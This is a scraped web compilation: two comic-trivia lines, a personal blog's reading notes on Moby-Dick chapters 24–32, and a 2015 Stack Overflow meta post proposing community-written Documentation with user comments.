Alden Maas and Wonderworld are based off of Disney Company creator Walt Disney and his Disneyland amusement park. Incidentally, Marvel Comics was purchased by the Walt Disney Company in August 2009.
Alden Maas's belief that continental drift is caused by the Earth's expansion is based on similar beliefs held by comics creator Neal Adams. "Alden Maas" is an anagram of "Neal Adams".
Discuss Fantastic Four Vol 1 263 on the forums
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Overthink everything.
Matthew Parsons's staring contest with the universe
About MJRP
Notes on Moby-Dick (which one day I will finish): Part 3
LET’S REVIEW. Ishmael has set sail at last aboard the whaling vessel Pequod, captained by the mysterious Ahab, about whom much has been implied and little has been actually established.
Chapter 24: The Advocate
Having just delivered his most generous volley of actual story thus far, Ishmael now stops in his tracks to mount a defence of the whaling industry to anybody who may not approve. This is a difficult chapter to parse. On one hand, we have not known Ishmael to be an especially ironic person in the story so far. He’s a bit of a liar, certainly, but a sincere one. So, perhaps we ought to simply take him at his word that he sees whaling as an honourable profession.
Not Ishmael.
On the other hand, one of the most compelling readings of Moby-Dick in this day and age — a reading that allows it to speak to our times rather eloquently — is the environmental reading. It’s easy to look at this novel as a story of humanity’s attempt to dominate its environment, with catastrophic consequences. There are those who believe Melville actually intended the story to be read this way. If that’s true, then we’re faced with the first serious case of Melville, our author, disagreeing with Ishmael, our narrator. Ishmael steps an inch closer to Lemuel Gulliver, a narrator that Jonathan Swift transparently thought was an idiot.
I’ve been tripping over myself to square these two scenarios, because I desperately want to read Moby-Dick as an environmental story, but I also adore Ishmael and I want him to be as smart and modern as the author who created him. Maybe it isn’t impossible to have it both ways.
Here’s something: the most outlandish claim that Ishmael makes in this chapter is that whaling helped to end colonialism in South America. He actually credits whaling with the emergence of “eternal democracy” in Peru, Chile and Bolivia. This is patently absurd, and Dr. Parker’s footnotes tell me that Melville was well aware of its absurdity. If we’re taking Ishmael at his word, this idiocy is the most Gulliver-esque that he ever gets.
But I can’t accept this. We’ve established that Ishmael is deeply traumatized and that the entire process of telling this story is, for him, a deep dive into the experiences that left him that way. And Ishmael himself also told us explicitly in the first chapter that he is “quick to perceive a horror, and could still be social with it.” Surely, having been through the traumatic episode of his voyage on the Pequod, Ishmael would be quick enough to perceive the horror in whaling. I think that in this chapter Ishmael is simply extending his customary social niceties to the grandest monster in his past: the entire edifice of the whaling industry. Certainly, this will enable us to more easily sympathize with the slew of experienced and enthusiastic whalers he’s about to introduce.
I like to think that Ishmael’s spirited defence of the whaling industry is more a debate club exercize than a sincere attempt to convey his opinion. If whaling was indeed Ishmael’s Harvard, as he claims, it taught him well. This is probably a fairly weak reading of this chapter on my part. I don’t expect anybody to be especially convinced by this. But I’m not in university anymore, and these days it’s more important to me to find a way to read books that makes me enjoy them the most. And this is the reading that achieves that. Take it or leave it.
Chapter 25: Postscript
A person who does NOT smell like fish.
Here we have a tiny chapter that is such fake news it wasn’t even included in the original British printing. Ishmael continues his argument from the previous chapter by pointing out that every British monarch is consecrated with oil at their coronation — and alleges that the oil in question is sperm oil, doubtless lending the newly-crowned royals a none-too-pleasant aroma. I have determined this not to be true, though I would have appreciated some guidance from Dr. Parker on this point. WHERE ARE YOU WHEN I NEED YOU DR PARKER
Anyway, the oil used in coronations starting in the 17th century is a perfume that includes orange blossom, cinnamon and jasmine among other things. The one used to anoint Elizabeth II wasn’t far off from that same formula. And here’s Ishmael being all “the royals smell like sperm whales!!!” Pah.
Chapter 26: Knights and Squires
After 25 chapters of exposition and postulating, it is now time to meet our main characters! The next three chapters consist of tell-don’t-show character sketches of the six men we haven’t met yet who are crucial to the story to come. Either Ishmael or Melville is clearly aware of what a blunt instrument the character development in this novel is turning out to be — how else do you account for the description of Starbuck as “A staid, steadfast man, whose life for the most part was a telling pantomime of action, and not a tame chapter of sounds.” Faced with a man of few words and many actions, Ishmael is rendered completely baffled. Because, what do we have here but “a tame chapter of sounds” that entirely fails to elaborate on what “action” the “pantomime” of Starbuck’s “life” may have entailed?
I’m not implying that this chapter is bad, lest anybody misunderstand. It’s just unusually direct in the way that it straight up describes a character’s personality rather than allowing them to demonstrate it. The personality he paints for Starbuck is one that rings true to me. There were never any whalers in my family, to my knowledge, but there were plenty of fishermen. The most successful of them shared Starbuck’s unceasing conscientiousness and wariness of the sea. They had no patience for anybody with a cavalier attitude towards a dangerous job. They, too, knew “that an utterly fearless man is a far more dangerous comrade than a coward.”
I like this Starbuck. He’s severe and humourless, but he is the sort of person you ought to have on your team. Ishmael implies that this story will at some point bring about a “fall of valour” in Starbuck. Brace yourself.
Here we have a chapter with the same title as the previous one. Sometimes I feel like Ishmael only breaks the chapters up because he gets a bit too excited and needs an excuse to get back down to business. At the end of chapter 26 he’s basically praying — a thing he’s apparently more willing to do as a storyteller than as a character in the story. What’s the easiest way to get from “bear me out in it, O God!” back to the mundanity of “Stubb was the second mate?” Chapter break.
Stubb, incidentally, is the second mate. He’s a man so unconcerned by the dangers in the world around him that he hums as he hunts sea monsters. Ishmael ascribes his cheerfulness to his constant habit of pipe smoking — a pipe containing only tobacco, we’re told. We’re treated to another of Ishmael’s dubious cosmic notions, which is that all the world’s air is polluted by the misery of every person who’s died here. Stubb’s pipe, we’re told, filters all that out. I think Ishmael’s just too polite to say that Stubb’s none too swift.
The third mate is Flask, and you’d think he’s the last person Starbuck would want to be working with. “I will have no man on my boat who is not afraid of a whale,” Starbuck said in the last chapter. Yet here’s just such a man. It’s Flask, more than Stubb, who strikes me as a liability aboard the Pequod. Stubb’s dumb, but he isn’t likely to pull anything too impetuous. I’m not sure I can say the same for this Flask fellow. We’ll see.
How to set up a chessboard.
Finally, we meet the harpooneers. First up, there’s our beloved Queequeg. Next, there’s Tashtego: an indigenous harpooneer from Martha’s Vineyard. A bit of digging reveals that, whether Melville knew or cared, the indigenous people from the region Tashtego hails from are called the Wampanoag. One gets the sense from Ishmael’s description of him as the descendent of brilliant archers that he is in fact a good deal swifter than Stubb, who he serves as harpooneer. Finally, the diminutive Flask commands a harpooneer named Daggoo: an enormous black man that Ishmael describes in the same mutedly condescending tone as he does all people of colour. But as ever, his intentions are clearly better than most of his contemporaries’ would be. He makes a point of mentioning that in whaling, while officers are almost always American (he means white), the industry’s workforce is massively multicultural. This is the workforce he takes pains to glorify at every turn. Remember: this is the narrator who told us in his first chapter how “the commonalty lead their leaders,” and the one who told us only one chapter ago how brightly God’s dignity shines “in the arm that wields a pick or drives a spike.”
Moby-Dick is, however inadequately, a multiculturalist novel. This is what Ishmael, and doubtless Melville, wants us to realize as he sets up his chessboard.
Chapter 28: Ahab
Ask anybody who knows the broad strokes of Moby-Dick to tell you the name of a character in it, and they’ll most likely come up with Ahab. This, in spite of the fact that this novel has one of the most famous first sentences in all of literature, and that sentence is “Call me Ishmael.” Adaptations of the novel have a tendency to shunt Ishmael to the side in favour of the one-legged captain of the Pequod. It’s not hard to see why that is — Ishmael’s a novelistic conceit: a massively multidimensional character who nonetheless has very little to do with the actual story. The story belongs to Ahab. And even Ishmael knows that this character is his ace in the hole.
This is the cover of my beloved Norton Critical. But with all due respect to the artist Oleg Dobrovolskiy, this is how exactly NOBODY pictures Ahab.
Witness the difference between how he introduces Ahab and how he introduced his slew of inferiors in the last two chapters. He was willing enough to sum up Stubb, Flask, and even Starbuck in a few declarative sentences, the way an undergraduate might in an exam. But with Ahab, after teasing the reader with suggestions and premonitions and dropping his name with little context, like “Bad Wolf” in Doctor Who, Ishmael permits us to get to know the mysterious captain the way that any preternaturally observant sailor would: first by taking careful note of his absence, then with shock at his sudden presence, and gradually taking stock of the man from his appearance and ways of moving about the ship.
I’m not saying Ishmael’s offering us anything like an objective view of Ahab, even at this early stage. He is categorically unable to avoid imparting his own sense of things onto them when he describes them: “moody stricken Ahab stood before them with a crucifixion in his face; in all the nameless regal overbearing dignity of some mighty woe.” When he writes like that about his tragic anti-hero, Ishmael all but ensures that he himself will be at best the second most memorable character in his own story. Poor guy.
Chapter 29: Enter Ahab; to him, Stubb
He speaks! If we are to believe Ishmael, which of course we should not, Ahab could be overheard mumbling to himself as he descended into his cabin, “It feels like going down into one’s tomb.” Unless I’m very mistaken, those are his first words in Moby-Dick. Even when he has urgent character development to attend to, Ishmael refuses to stop beating us about the head with portents of death.
Also worth noting: the title of this chapter is a stage direction. Ishmael will play with this a heck of a lot more in later chapters, but for now it’s just one more indication of how much he’s puppetmastering his story into a dramatic shape, rather than laying it out genuinely according to his memory. And indeed, this chapter finds Ishmael penning a soliloquy for the second mate, Stubb, who’s starting to feel something like a Shakespearean fool: a hapless, much abused dogsbody who stumbles upon nuggets of wisdom in his rambling speeches to nobody.
King Lear and the Fool in the Storm by William Dyce. A cool thing about making blog posts is Googling random shit and finding dodgy old paintings.
After the episode that the chapter title alludes to, in which Stubb and Ahab interact for the first time and Ahab abuses Stubb with Shakespearean overzealousness (“I will not tamely be called a dog, sir,” says Stubb; “Then be called ten times a donkey, and a mule, and an ass, and begone, or I’ll clear the world of thee!” replies Ahab, measuredly) and possibly kicks him so hard he instantly forgets it happened, Ishmael quotes Stubb directly in a speech that goes on for a whole page, during which there is nobody else around. Note that one of the people who isn’t around is Ishmael himself, unless we conjecture that he is very good at inconspicuously listening to people talk to themselves and remembering it word for word. I think not.
My favourite bit of Stubb’s soliloquy is the bit where he entirely abandons all thought of Ahab and thinks instead about sleep:
“Here goes for a snooze. Damn me, it’s worth a fellow’s while to be born into the world, if only to fall right asleep. And now that I think of it, that’s about the first thing babies do, and that’s a sort of queer, too. Damn me, but all things are queer, come to think of ‘em. But that’s against my principles. Think not, is my eleventh commandment; and sleep when you can, is my twelfth — So here goes again.”
Chapter 30: The Pipe
If Ahab and Stubb ever had anything in common, it would have been their mutual love of pipe tobacco. And as if to drive home the fact that the regal, revenge-maddened Ahab has nothing at all in common with the foolish and carefree Stubb, Ishmael devotes an entire sublime little chapter to the act of Ahab throwing his pipe overboard: “What business have I with this pipe? This thing that is meant for sereneness, to send up mild white vapors among mild white hairs, not among torn iron-grey locks like mine. I’ll smoke no more.”
Chapter 31: Queen Mab
“Gotta find the queen of all my dreams…”
Mab, of course, being the queen of dreams, most famous for being in the best bit of Romeo and Juliet. And here we have more prime Stubbiana, though this time Ishmael actually gives him an audience for his ramblings: the thoroughly disinterested third mate Flask. Stubb, preoccupied by the kick that may or may not have happened the previous night, has had a weird dream that he’d be best advised to keep to himself, but naturally he can’t.
In Stubb’s dream, Ahab is kicking him and Stubb attempts to kick back, only for Ahab to suddenly turn into a pyramid. Pyramids are, of course, the subject of many a whack-a-doo conspiracy theory. They are ancient, mysterious and inscrutable. Possibly extraterrestrial. Much like whales, if you subscribe to that sort of thing. And like Ahab lost his leg at battle with the white whale, in his dream, Stubb’s leg pops off as he attempts to kick the pyramid. Here we have Stubb manifesting not so much as a Shakespearean fool, but a holy fool — the kind of hapless idiot that superstitious villages would defer to because they had visions of the truth in their madness. Unbeknownst to him, Stubb has dreamed a reenactment of how Ahab lost his leg — except in this version, Ahab himself has become the monster. *OOOOOOOOOOOO*
Stubb finishes recounting his dream just as Ahab calls out for the crew to keep an eye out for white whales. And Stubb once again demonstrates that though his wits may be dim, his intuition is second to none: “A white whale — did ya mark that, man? Look ye — there’s something special in the wind. Stand by for it, Flask. Ahab has that that’s bloody on his mind. But, mum; he comes this way.”
Aaaaaaannnnd CLIFFHANGER.
Chapter 32: Cetology
At last we’ve made it to the most infamous chapter in Moby-Dick. Just as we’ve started getting to know our ostensible protagonist and his retinue of old salts, Ishmael once again draws the story to a screeching halt to enumerate and categorize the different kinds of whales.
It’s these bits of Melville’s novel that might compel a contemporary reader to label it “bloated” or “indisciplined.” Which is probably right. But like I said at the beginning of these notes, I wasn’t at all interested in reading Moby-Dick when I was under the impression that it was primarily a seafaring adventure story — the sort of story it’s made into in the adaptations that prioritize Ahab over Ishmael. It wasn’t until I cracked it open to “Loomings” and met our maddeningly discursive narrator that the book called out to me. Adam Gopnik put it better than I possibly could in a New Yorker piece about an abridged version of the novel in 2007:
“When you come to the end of the compact Moby-Dick you don’t think, What a betrayal; you think, nice job — what were the missing bits again? And when you go back to find them you remember why the book isn’t just a thrilling adventure with unforgettable characters but a great book. The subtraction does not turn good work into hackwork; it turns a hysterical, half-mad masterpiece into a sound, sane book. It still has its phallic reach and point, but lacks its flaccid, anxious self-consciousness: it is all Dick and no Moby.”
In light of all this, you’ll be unsurprised to know that “Cetology” is my third-favourite chapter of Moby-Dick thus far (I’m still only like halfway through this thing, god help me), next to “Loomings” and “The Lee Shore.” And how could it not be? This is the chapter in which the most bookish man to ever sail the seven seas categorizes the whales using terminology taken from bookbinding.
This choice on Ishmael’s part is not arbitrary. He is intentionally thumbing his nose to science. As far as Ishmael is concerned, a whale is not a mammal; it is a giant fish. Because of course it is. Just look at it. Read the story of Jonah, or any of the sources that Moby-Dick’s eighty epigraphs came from, and you’re sure to find it referred to as such. Reason may have it that a whale is not a fish, but the popular imagination says otherwise, and Ishmael finds that far more important.
Duodecimo is even littler.
And so, we have whales categorized in “books.” The big ones are “folio whales,” named for the largest size of book, the middle-sized ones are “octavo whales,” named for one of the middle sizes, and porpoises are classed as “duodecimo whales,” after one of the smaller sizes of books. Ishmael guides us through several examples of each, pausing to offer folksy sailor’s wisdom on many of them. He also, amusingly, offers a list of probably fictional whales that includes the blue whale, which was thought to be either extinct or altogether legendary when Moby-Dick was written.
But the real reason to love this chapter comes at the end of it, when all the taxonomy is done and dusted. Ishmael takes pains to inform us that his system of categorizing the whales is incomplete and inadequate, and hopes for some enterprising soul to make amendments to it someday. It isn’t so much that Ishmael couldn’t be bothered to finish his Whaleipedia himself: it’s that he’s built his entire aesthetic around incompleteness. That’s what he was getting at back in “The Lee Shore,” when he wrote that “in landlessness alone resides the highest truth,” landlessness being the state you’re in on an unfinished voyage. It also ties in with Ishmael’s perpetual unwillingness to just get on with the story the way that Gopnik’s abridgers would have him do. That would be anathema to him, because the end of the story is death. All of these sorts of things — endings, destinations, homecomings, logical conclusions and states of certainty — are anathema to Ishmael. Home is death for the soul. Better to die at sea than live on land, as Milton might phrase it.
Ishmael savours the journey and rues the destination. Very soon we’ll learn that Ahab is the other way around. The white whale must die. Everything that happens between now and that teleological endpoint is a mere inconvenience.
“God keep me from ever completing anything,” Ishmael proclaims in an aphorism that defines him and this novel better than maybe any other single sentence. Maybe it defines me, too. How many things have I left unfinished? How many times have I pulled the brakes on a train of thought before arriving at a troubling certainty? And how long will it take me to finish this book? Perhaps I, too, prefer to remain adrift in the uncertain seas of exploration, frightened at the prospect of arriving anywhere?
We’ll soon find out.
This entry was posted in Books, Notes on Moby-Dick and tagged Herman Melville, Moby-Dick on September 4, 2018 by Matthew.
← The Final Omnibus Notes on Moby-Dick (still not finished): Part 4 →
2 thoughts on “Notes on Moby-Dick (which one day I will finish): Part 3”
Jim October 28, 2018 at 11:08 am
Hi Matthew. I heard part of your story on NXNW today about JS Bach based on Joseph Campbell’s “The Hero With a Thousand Faces”, which was cool! I’d like to share it with a friend, but I don’t see any reference to it on your blog or website. Is it available to share somewhere?
Matthew Post author November 5, 2018 at 4:41 pm
Hi Jim. Glad you enjoyed it! I’m planning to put the whole series up on the NXNW podcast feed as one episode once the whole serial’s finished. There are two episodes to go, so that should be two more weeks.
The authoritative ranking of ABBA Gold
Notes on Moby-Dick (still not finished): Part 4
The Final Omnibus
Omnibus (week of July 22, 2018)
Haystack Files
Notes on Moby-Dick
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Things I loved
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Warlords of Documentation: A Proposed Expansion of Stack Overflow
Locked. This question and its answers are locked because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.
It’s been 7 years and 10,000,000+ Questions since Stack Overflow was launched. The amount of good that has been done for the field - all the developers helped, all the person-hours saved, all the beginners who grew into professionals - is hard to overstate. I cannot express how proud I am of what we’ve built together (and not just because it let me see our arch-enemy vanish from my Google results); this community has realized the goal of "making the internet a better place" beyond what anyone could have predicted.
Lately we've been asking ourselves "what else could we do to improve developers' lives on the internet?". Jeff’s original announcement of Stack Overflow said this:
There's far too much great programming information trapped in forums, buried in online help, or hidden away in books that nobody buys any more. We'd like to unlock all that. Let's create something that makes it easy to participate, and put it online in a form that is trivially easy to find.
Stack Overflow has made all of that a lot better, but there's one area that is still hanging around: Documentation. Just like Q&A in 2008, Documentation in 2015 is something every developer needs regularly, and something that by most appearances stopped improving in 1996. We think, together, we can make it a lot better.
How would adding Documentation to Stack Overflow improve Documentation?
Documentation is often an afterthought, obviously done just to say that it exists, with little concern for its quality. We've all seen plenty of this in our time. We can bring a focus on quality, peer review, and "actually solves real problems for real developers"-ness to documentation that would be very welcome.
Often documentation is lacking in examples, or the examples are trivial and don't demonstrate typical use. Because Stack Overflow benefits from constant feedback from developers writing real-world code, we could greatly improve the quantity and quality of examples. Let's be honest: finding examples is already a common use-case for Stack Overflow; we might as well embrace it.
Much of the documentation out there is tied to release cycles, and thus infrequently updated and rarely "complete". The community-contributed and edited nature of Stack Overflow would be an immediate improvement.
A lot of documentation descends from Javadocs, and while it was better than nothing in '96, it's hard to call framesets with unshareable URLs "good" in 2015. We can focus on creating the best UX for creating and serving documentation on the modern web.
What would adding Documentation to Stack Overflow improve about Stack Overflow?
We've heard repeated requests for a place for broader artifacts to live. Less "a specific problem you are having right now," and more, "what is there for me to use." We think Documentation could provide a place for many of the useful artifacts that developers actively need, but we've been turning away over the years.
Many posts are improved by citing official documentation, but today, that means using offsite links that are sometimes hard to find and that may break. Having it on-site makes it easier to find and incorporate Documentation into posts.
There are Questions that come up repeatedly whose root cause is poor documentation. If you see a bunch of people struggle with Foo's Bar class, with Foo's documentation on Stack Overflow you could fix the Bar page and mitigate a source of repetitious (often exact duplicate) Questions.
A smaller, but just as real, benefit is that it opens up more opportunities for giving back. Oftentimes we'll hear from a developer who has benefited from a Stack Overflow Answer, but has trouble finding a Question they can help with that isn’t already answered. Documentation adds many more opportunities for paying it forward.
The Plan: We need YOUR help to build this
The first step is to share some rough ideas we've been kicking around for what the Documentation "part" of Stack Overflow might look like and how it might behave, and get your feedback. This is still in an early stage, but most of the successful ideas in Stack Overflow originated from the community, so we want you all in the loop as early as possible.
The second step will be a private beta, where we break everything and make the team cry test out the tools and workflows, but not on Stack Overflow proper. There's a sign-up form for this further down, so keep reading. Private beta will be shipping in the traditional six-to-eight weeks.
Or we're wrong. Maybe Documentation isn't as exciting to the community at large as it is to us, or we fail to iterate to a solution. Maybe we can't fill in that step.
But we think it's worth having a go at it. Interested? Give this post an upvote, and sign-up for the beta. Hate it? Downvote. Questions or comments? Well we've got more info below, but do post any and all feedback you have at the end - we want to hear your thoughts. After all, Stack Overflow is you.
How Documentation Will Work*
* we think
Tags that already have involved communities on Stack Overflow, such as .net or python, can have associated documentation created for them. Documentation is broken up into pages called Topics.
Topics always have Examples and Remarks; other sections are optional.
Examples are collapsible and deeplink-able. We're putting them at the top of the page because we believe they're the most important - the information you desire is likely within them. We're expecting Topics to have more Examples than Questions have Answers, since Topics will be broader than Questions.
Because Topics are envisioned as being much larger than the typical Question or Answer, trying to compose them in our current editor would be painful. So we're building a new one.
You can edit individual sections or Examples, you'll see a live preview, and your changes are automatically saved as drafts. We're still using Markdown and prettify for formatting and code styling, of course.
Anyone with sufficient privileges in a tag can create or edit Topics, and those without those privileges can suggest changes for review à la suggested edits. Those who think a Topic is needed, but cannot themselves write it, can instead request a Topic using the creatively named Request Topic button.
Requesters first search for an existing request to upvote, and if they find none, they can then enter a new request.
We're anticipating the typical good Request will be smaller than the typical good Question. A good Question has some explanation of the issue, a reproduction in code, and lists things that the asker has already tried. A good Request only has to explain the deficit in the Documentation. Because of this difference, we’re going with a much lighter UI in comparison to the Ask page.
For giving feedback on existing Topics, voting and flagging are available. These look very similar to existing flows, so they're not pictured.
All actionable items (request, pending changes, flags, votes, etc.) are aggregated into a dashboard view for people looking to help out.
Each "view more" and tab go to full lists like in the user profile.
All this stuff is very early and very much subject to change; especially now that we'll be getting your feedback.
How will reputation work?
You'll get reputation for peer-reviewed contributions to Documentation. Peer review may take the form of citations, suggested edit reviews, explicit voting, or a combination of all three. Reputation you earn from Documentation will be added to the existing Q&A reputation; there won't be two separate numbers. Obviously, we're still working out lots of the details.
We intend for participation in the Documentation parts of Stack Overflow to be about as rewarding, in terms of reputation, as asking and answering is in the Q&A parts.
What can be documented?
We're thinking "anything you use through code" as a really rough guideline, but we'll ultimately decide together as a community, just like with what’s on-topic for Q&A.
For the betas, we're planning to restrict ourselves to established and widely used projects. We're trying to test out the bigger stuff first, to make sure all the tools and processes can cope. If all goes well, eventually just about anything that sees some Q&A activity will be fair game to document.
What should be documented?
Anything where we can actually make it better. If a project already has awesome documentation that's easy to search and cite, then there's no need to duplicate it on Stack Overflow. We're interested in fixing what's broken with documentation, not just moving them onto Stack Overflow.
What's the line between a Question and a request for a Topic?
Topics are broader in scope than Questions. In fact, we're expecting that if you "asked" most requests, they’d be closed as Too Broad.
Topics should also have multiple Examples, so a request that can be served by a Topic with a single Example (ie. one block of code) is probably too narrow.
Is importing existing documentation encouraged?
No. We're hoping we can improve documentation, not just move it under the stackoverflow.com domain.
What license will documentation be under?
The same license (Creative Commons Attribution Share Alike) and ToS that covers existing content. Documentation will also appear in our regular data dumps once the private beta concludes.
Register For The Beta
We’ll need to know three things:
Your Stack Overflow profile URL
A list of 2-5 tags you’d be interested in helping document
Please pick tags from the first two pages of popular tags that have an especially active community. Things like c#, r, or ios so we can test our system out against the real things that lots of developers are using in the private beta.
Register and help Make Docs Suck Less
discussion documentation
Kevin Montrose♦Kevin Montrose
"We’re interested in fixing what’s broken with documentation, not just moving them onto Stack Overflow." - Assuming this works how you want, if a project improves documentation to the point where it's not needed on SO any longer, will there be a process to encourage users to go back to the project itself instead of continuing here? – Andy♦ Aug 31 '15 at 15:39
I wonder how, in the case of something like .NET, this would be better than MSDN. Maintenance would be another concern generally. Things change. – Ňɏssa Pøngjǣrdenlarp Aug 31 '15 at 15:41
@Andy in the same way that a community could stop posting to Stack Overflow Q&A, yes. Ultimately the contributors control the content, if they're convinced to tear everything down and point folks at the official docs then that's fine. If it turns out we need to build tools for such a process, we will. – Kevin Montrose♦ Aug 31 '15 at 15:43
@Plutonix read #3 on the FAQ again. They don't want to replace existing documentation if the existing docs are good enough. However, I'm wondering how we could somehow supplement existing documentation with better examples, because some of the examples and information on MSDN (and plenty of other OSS documentation) sucks. – Dave Zych Aug 31 '15 at 15:44
Along the same lines as the concern indicated by @Andy, would there be some process to discourage people from creating 'usurping' documentation sets that have the effect of making other documentation worse (or, more likely, die on the vine)? The first thing that came to mind is asp.net-5 - docs.asp.net is really incomplete, but it's collaborative and could be made quite good with enough contributions. What happens when all those potential contributors do it here instead? (comment a little out-of-sync with your response to Andy..) – Ben Collins Aug 31 '15 at 15:44
@Plutonix we have some ideas about handling version releases (tl;dr version tables and inference), as well as obsolescence (tl;dr flagging and markdown extensions). This post was pretty long already though, so I cut it. We'll have some super detailed stuff when the beta starts, you're correct that this stuff is tricky. – Kevin Montrose♦ Aug 31 '15 at 15:46
WRT point #5, if the tag wikis are the recipients of plagiarized content now, I can't wait to see how the documentation pages end up. I definitely like the idea though. – j08691 Aug 31 '15 at 15:54
Love the idea, but worried about visibility if this is confined to tag wikis or a similar corner on SO with relatively low "through traffic". Would this perhaps warrant a separate docs.stackoverflow.com portal? With a Google-like search field, a tag selector, and specific information around docs? With users signing up separately, as they would to a different SE site? – Pekka Aug 31 '15 at 15:56
Maybe we could take this opportunity to improve licensing: explicitly dual-license code samples in docs as MIT, not just Creative Commons, so they're clearly safe to reuse. – ABANDON STACK -- Jeremy Banks Aug 31 '15 at 15:57
How would the project deal with the danger of documentational ghost towns? Say a bunch of people wants to create SO docs for something that already has decent documentation of its own. They may want to mine rep, or genuinely feel they can contribute something great but aren't allowed to in the project's own docs. Because the larger community isn't with them, the effort withers away quickly and leaves a half-finished pile of partially useful information. How to prevent that? – Pekka Aug 31 '15 at 16:15
Would it be worth looking for 2-3 medium to high visibility projects that might be interested in migrating their entire official documentation to a docs.SO beta - because their current doc system sucks, because they're tired of the maintenance, et cetera? If it's well done it seems likely docs.SO could ease the burden of many a project, help folks focus on documenting stuff instead of first choosing, setting up, and maintaining a documenting platform, all of which suck in one way or other – Pekka Aug 31 '15 at 16:21
One of the most difficult things to enforce to maintain utility will be versioning. Here I refer to the version of the thing being documented. There is already much in the questions section that doesn't have good versioning and most of the time it works. How to inject discipline into the documentation consistently? – Shawn Mehan Aug 31 '15 at 16:27
First, I'd like to recommend that the design lend itself to printing. I still print out documentation and write all over it, so make sure there's some thought put into the printer style sheets. Second, you said "Topics always have Examples and Remarks; other sections are optional. Examples are collapsible and deeplink-able. We’re putting them at the top of the page because we believe they’re the most important ". I think this is wrong, and parameters and syntax should be required while remarks should be optional. And since syntax will usually be shorter than the examples, it should be 1st. – j08691 Aug 31 '15 at 16:35
I like the idea, but it shouldn't be part of Stack Overflow. It should be a seperate thing. – Jeroen Aug 31 '15 at 19:02
Will it replace W3Schools just like SO replaced Experts Exchange? – Uwe Keim Sep 4 '15 at 19:16
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Yes! I support this idea, if the focus is to create examples.
I already use SO frequently to get a fast view of how to do something. For example, if I Google for "node.js write file", I want to quickly find how I can do it.
On Stack Overflow:
On Node.js official docs:
Which one is faster to get what you need?
I want to help writing docs for technologies that I like providing good examples for fast access.
ZanonZanon
+1 Immediate examples are so much more useful than here is a bunch of words to parse. – Dave Zych Aug 31 '15 at 16:57
Exactly what we want to fix. – Nick Larsen♦ Aug 31 '15 at 16:59
This example is very strange: the node/fs documentation you mention is full of examples. In fact the green links of your screenshot link to examples... See nodejs.org/api/… – Denys Séguret Aug 31 '15 at 17:39
@DenysSéguret I'd rather see the example straight up, than parse, understand, and maybe guess which method link is relevant; that I follow, and maybe find an example. – OJFord Aug 31 '15 at 17:46
Not to mention, where on the page your answer is. – Nick Larsen♦ Aug 31 '15 at 17:47
How would Qs like this one fit in when docs existed? Just a 'related question', which the now-answer to is obviously just "check out SO docs"? Would there be a new close reason, like "answer is an [example in the docs](link!)"? – OJFord Aug 31 '15 at 17:48
@DenysSéguret With something like that nodejs doc, there is so much information oftentimes people don't know where to start. With a simple, immediate example, it helps someone just get the dang thing working and from that starting point they can further review the docs and refine their code. – Dave Zych Aug 31 '15 at 18:00
@DenysSéguret Isn't that exactly what docs are for? People who don't know a feature of the language/framework they're working with? I've worked with NodeJS before (albeit not a ton) and I still get confused with their docs sometimes. – Dave Zych Aug 31 '15 at 18:20
Why do you think it's important for the page that helps you to be called "Documentation" rather than a "Question"? The current SO is already providing what you need. – TigerhawkT3 Aug 31 '15 at 18:30
It's hard to take that example seriously. I mean you have a perfect nodejs documentation and tons of examples across the web (and the first page on google). If you are still see a problem to find out how to write a file using nodejs, you are simply not willing to find it. period. – hek2mgl Aug 31 '15 at 22:54
If SO became the #1 repository of easily-searchable examples by language, framework, etc. I would never look anywhere else. Yes, one can google "How do I do X in Y-language/Z-framework" and you might come up with a examples through SO (sometimes), blog sites, etc., but if you want to do something in a not-so-popular framework or language, who better to show you how than the experts. I support this fully, as 99% of the things I search for in terms of software development are examples. Yes, I know how to read the Oracle Java Documentation, but that takes so frigging long. – Chris Cirefice Sep 1 '15 at 16:32
@Zanon "it provides documentation, but it was not designed for that"... Every time I try to suggest on meta that the main driver of SO is askers having problems and answerers willing to help, with the knowledge building being a secondary, but intended effect, I'm told that SO has always primarily been a KB (especially by hardcore curators). Knowledge base and documentation are extremely similar concepts. If we're talking about "recipes", SO is spot on as it is. Class by class, method by method API documentation really belongs to the official stuff. Tutorials are a different category as well. – Bruno Sep 2 '15 at 15:17
Out of this exmaple I see, there should be a "make documentation" button on SO to create links back and forth and reuse already available content. Also I think, it would be better to create a "getting started" collection than of documentation where such questions are easily explained and afterwards comes further information to details. But I think, this example is pretty good. If I open node.js page, there are many links, where I would click on fs.write(..) since it is the topmost that sounds useful. So I won't notice fs.writeFile really and as beginner in node.js would go to SO ;) – Matt Sep 3 '15 at 12:19
I die a little inside when everyone starts going on about making it "faster" to go to examples without having to actually read. Without reading and perusing how are you going to gain any real understanding of what you're doing? Copy/pasting examples without understanding is exceptionally dangerous (IME leading to many stupid SO questions) and I'd really rather people went out of their way to put more time into their research, not less. As such, all this "yes yes move everything to SO so it's faster" seems to be like the direct opposite of what we should be doing. – Lightness Races BY-SA 3.0 Sep 3 '15 at 13:39
@LightnessRacesinOrbit, "How to tie a tie?" - you can learn with a 2 minutes youtube tutorial or with a 30 minutes lenghty explanation with the different existing techniques and the history behind them. I agree that people need to read more to avoid basic mistakes, but it depends on the situation. If you need to write a file just for testing, a basic code example is enough. If you are building a log library like log4net that will be used by millions, so you need to read a lot about how to write files. What we need is to give people the power of choice. – Zanon Sep 3 '15 at 16:14
I'm concerned about the fragmentation this can cause.
If a project already has awesome documentation that’s easy to search and cite, then there’s no need to duplicate it on Stack Overflow. We’re interested in fixing what’s broken with documentation, not just moving them onto Stack Overflow.
Some documentation sites like MSDN have both good and bad documentation. How do you see people decide on what documentation is good enough to not have to redo it on SO?
Is one of the goals to eventually see work being done here go back upstream to the official documentation of a project? If so, I think attaching a CC license to it could cause a lot of headaches down the line.
What if the official documentation is greatly improved, surpassing the quality of documentation on SO? Will you remove the content on SO?
These are just some questions that spring to mind, I'm sure there are other things to discuss about fragmentation.
It could end up being something similar to the sponsored tags - companies may opt to have their docs on SO – Michael Doye Aug 31 '15 at 15:52
This is why I'd rather go to devdocs.io then having a wiki on SO. – Domino Aug 31 '15 at 15:53
But won't it be survival of the fittest? If people find the vendor docs are better they will link to that instead. – Martin Smith Aug 31 '15 at 15:54
In the long run, we would like to be the official source of documentation for all the things. That's a very long term goal. We think that the changes we're making to documentation's unit of work, making it community editable, and the training aspects it brings to the rest of Stack Overflow are keys to its success. So, frankly, all the things should eventually be documented here, but for the beginning we want to fix the worst parts. – Nick Larsen♦ Aug 31 '15 at 15:56
